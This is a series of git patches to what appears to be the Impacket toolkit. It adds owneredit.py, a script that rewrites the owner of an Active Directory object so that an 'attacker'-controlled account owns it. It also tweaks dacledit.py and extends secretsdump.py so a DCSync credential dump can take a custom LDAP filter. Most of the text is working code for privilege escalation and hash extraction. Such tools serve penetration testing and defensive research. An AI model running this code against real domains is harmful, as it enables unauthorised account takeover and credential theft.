0d15c79f8185c5e0f54db1be354ef547a6c0557a Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 18:38:08 +0200 Subject: [PATCH 116/152] New example --- examples/owneredit.py | 518 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 518 insertions(+) create mode 100644 examples/owneredit.py diff --git a/examples/owneredit.py b/examples/owneredit.py new file mode 100644 index 0000000000..7515654f29 --- /dev/null +++ b/examples/owneredit.py @@ -0,0 +1,518 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) + +import argparse +import logging +import sys +import traceback + +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control + + +# Universal SIDs +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', + 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\Remote Management Users', +} + +class OwnerEdit(object): + def __init__(self, ldap_server, ldap_session, args): + super(OwnerEdit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + + self.target_sAMAccountName = args.target_sAMAccountName + self.target_SID = args.target_SID + self.target_DN = args.target_DN + + self.new_owner_sAMAccountName = args.new_owner_sAMAccountName + self.new_owner_SID = args.new_owner_SID + self.new_owner_DN = args.new_owner_DN + + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + if self.target_sAMAccountName or self.target_SID or self.target_DN: + # Searching for target account with its security descriptor + self.search_target_principal_security_descriptor() + # Extract security descriptor data + self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor) + + # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't + if self.new_owner_SID is None and self.new_owner_sAMAccountName is not None or self.new_owner_DN is not None: + _lookedup_owner = "" + if self.new_owner_sAMAccountName is not None: + _lookedup_owner = self.new_owner_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) + elif self.new_owner_DN is not None: + _lookedup_owner = self.new_owner_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) + try: + self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + logging.debug("Found new owner SID: %s" % self.new_owner_SID) + except IndexError: + logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner) + exit(1) + + def read(self): + current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical() + logging.info("Current owner information below") + logging.info("- SID: %s" % current_owner_SID) + logging.info("- sAMAccountName: %s" % self.resolveSID(current_owner_SID)) + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName']) + current_owner_distinguished_name = self.ldap_session.entries[0] + logging.info("- distinguishedName: %s" % current_owner_distinguished_name['distinguishedName']) + + def write(self): + logging.debug('Attempt to modify the OwnerSid') + _new_owner_SID = ldaptypes.LDAP_SID() + _new_owner_SID.fromCanonical(self.new_owner_SID) + # lib doesn't set this, but I don't known if it's needed + # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority']) + self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID + + self.ldap_session.modify( + self.target_principal.entry_dn, + {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [ + self.target_principal_security_descriptor.getData() + ])}, + controls=security_descriptor_control(sdflags=0x01)) + if self.ldap_session.result['result'] == 0: + logging.info('OwnerSid modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + # Attempts to retrieve the Security Descriptor of the specified target + def search_target_principal_security_descriptor(self): + _lookedup_principal = "" + # Set SD flags to only query for OwnerSid + controls = security_descriptor_control(sdflags=0x01) + if self.target_sAMAccountName is not None: + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_SID is not None: + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + elif self.target_DN is not None: + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) + except IndexError: + logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) + exit(0) + + # Attempts to resolve a SID and return the corresponding samaccountname + def resolveSID(self, sid): + # Tries to resolve the SID from the well known SIDs + if sid in WELL_KNOWN_SIDS.keys() or False: + return WELL_KNOWN_SIDS[sid] + # Tries to resolve the SID from the LDAP domain dump + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") + new_owner_parser.add_argument("-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + new_owner_parser.add_argument("-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + new_owner_parser.add_argument("-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write'], nargs='?', default='read', help='Action to operate on the owner attribute') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.new_owner_sAMAccountName is None and args.new_owner_SID is None and args.new_owner_DN is None: + logging.critical('-owner, -owner-sid, or -owner-dn should be specified when using -action write') + sys.exit(1) + + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + owneredit = OwnerEdit(ldap_server, ldap_session, args) + if args.action == 'read': + owneredit.read() + elif args.action == 'write': + owneredit.read() + owneredit.write() + owneredit.read() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() From 3afb78cfe8ce2728c1b4deb490f3d998588ae4fc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 18:52:02 +0200 Subject: [PATCH 117/152] Fixing args `-owner*` to `-new-owner*` --- examples/owneredit.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/examples/owneredit.py b/examples/owneredit.py index 7515654f29..94716ae580 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -243,9 +243,9 @@ def parse_args(): help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') new_owner_parser = parser.add_argument_group("owner", description="Object, controlled by the attacker, to set as owner of the target object") - new_owner_parser.add_argument("-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") - new_owner_parser.add_argument("-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") - new_owner_parser.add_argument("-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + new_owner_parser.add_argument("-new-owner", dest="new_owner_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + new_owner_parser.add_argument("-new-owner-sid", dest="new_owner_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + new_owner_parser.add_argument("-new-owner-dn", dest="new_owner_DN", metavar="DN", type=str, required=False, help="Distinguished Name") target_parser = parser.add_argument_group("target", description="Target object to edit the owner of") target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") From 703b0c51475c901516272e250a49fa9aae75b0e1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 19:25:20 +0200 Subject: [PATCH 118/152] Removing debug code --- examples/dacledit.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 7b720cc1f2..ed4a67944a 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -949,9 +949,6 @@ def main(): try: ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) dacledit = DACLedit(ldap_server, ldap_session, args) - # a = dacledit.parsePerms(0xf01bf) - # print(a) - # exit(0) if args.action == 'read': dacledit.read() elif args.action == 'write': From 5c477e71a60e3cc434ebc0fcc374d6d108f58f41 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 14 May 2022 19:47:27 +0200 Subject: [PATCH 119/152] Removing redundant debug read after write --- examples/owneredit.py | 1 - 1 file changed, 1 deletion(-) diff --git a/examples/owneredit.py b/examples/owneredit.py index 94716ae580..2edcf3bc58 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -507,7 +507,6 @@ def main(): elif args.action == 'write': owneredit.read() owneredit.write() - owneredit.read() except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From cf5cfd0ca20ba1072769bcdef3b47a1bad7751bb Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 15 May 2022 15:20:56 +0200 Subject: [PATCH 120/152] Fixing and clarifying access masks and descriptions --- examples/dacledit.py | 40 +++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ed4a67944a..9eb83c97d6 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -161,40 +161,42 @@ class OBJECT_ACE_FLAGS(Enum): # Access Mask enum # Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b +# https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum?redirectedfrom=MSDN class ACCESS_MASK(Enum): # Generic Rights - GenericRead = 0x80000000 - GenericWrite = 0x40000000 - GenericExecute = 0x20000000 - GenericAll = 0x10000000 + GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ + GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE + GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE + GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL # Maximum Allowed access type MaximumAllowed = 0x02000000 # Access System Acl access type - AccessSystemSecurity = 0x01000000 + AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY # Standard access types - Synchronize = 0x00100000 - WriteOwner = 0x00080000 - WriteDAC = 0x00040000 - ReadControl = 0x00020000 - Delete = 0x00010000 + Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE + WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER + WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC + ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL + Delete = 0x00010000 # ADS_RIGHT_DELETE # Specific rights - WriteAttributes = 0x00000100 - ReadAttributes = 0x00000080 - DeleteChild = 0x00000040 - Execute_Traverse = 0x00000020 - WriteExtendedAttributes = 0x00000010 - ReadExtendedAttributes = 0x00000008 - AppendData = 0x00000004 - WriteData = 0x00000002 - ReadData = 0x00000001 + AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS + ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT + DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE + WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP + ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP + Self = 0x00000008 # ADS_RIGHT_DS_SELF + ListChildObjects = 0x00000004 # ADS_RIGHT_ACTRL_DS_LIST + DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD + CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD # Simple permissions enum # Simple permissions are combinaisons of extended permissions +# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN class SIMPLE_PERMISSIONS(Enum): FullControl = 0xf01ff Modify = 0x0301bf From 1d0befb0e92f61fb52f27601496cfc68c3a08bac Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 15 May 2022 22:10:35 +0200 Subject: [PATCH 121/152] Clarifying debug message --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9eb83c97d6..9d6bec8c5f 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -283,7 +283,7 @@ def write(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: - logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) + logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): From 6a38b1c09b130d11794ee06f6507e295ffe196d2 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Sun, 29 May 2022 12:48:39 +0300 Subject: [PATCH 122/152] Use a custom LDAP filter during a DCSync in secretsdump.py --- examples/secretsdump.py | 60 +++++++++++++++++++++++-- impacket/examples/secretsdump.py | 77 +++++++++++++++++++++++++++++--- 2 files changed, 127 insertions(+), 10 deletions(-) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 304be4fdfb..f2bb8a1cd2 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -60,6 +60,7 @@ from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection +from impacket.ldap.ldap import LDAPConnection, LDAPSessionError from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ KeyListSecrets @@ -83,6 +84,7 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__aesKey = options.aesKey self.__aesKeyRodc = options.rodcKey self.__smbConnection = None + self.__ldapConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None @@ -102,6 +104,7 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user + self.__ldapFilter = options.ldapfilter self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile @@ -120,6 +123,46 @@ def connect(self): else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + def ldapConnect(self): + if self.__doKerberos: + self.__target = self.__remoteHost + else: + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Create the baseDN + if self.__domain: + domainParts = self.__domain.split('.') + else: + domain = self.__target.split('.', 1)[-1] + domainParts = domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + try: + self.__ldapConnection = LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + self.__ldapConnection = LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': @@ -138,6 +181,12 @@ def dump(self): else: self.__isRemote = True bootKey = None + if self.__ldapFilter is not None: + logging.info('Querying %s for information about domain users via LDAP' % self.__domain) + try: + self.ldapConnect() + except Exception as e: + logging.error('LDAP connection failed: %s' % str(e)) try: try: self.connect() @@ -151,7 +200,7 @@ def dump(self): else: raise - self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__ldapConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or 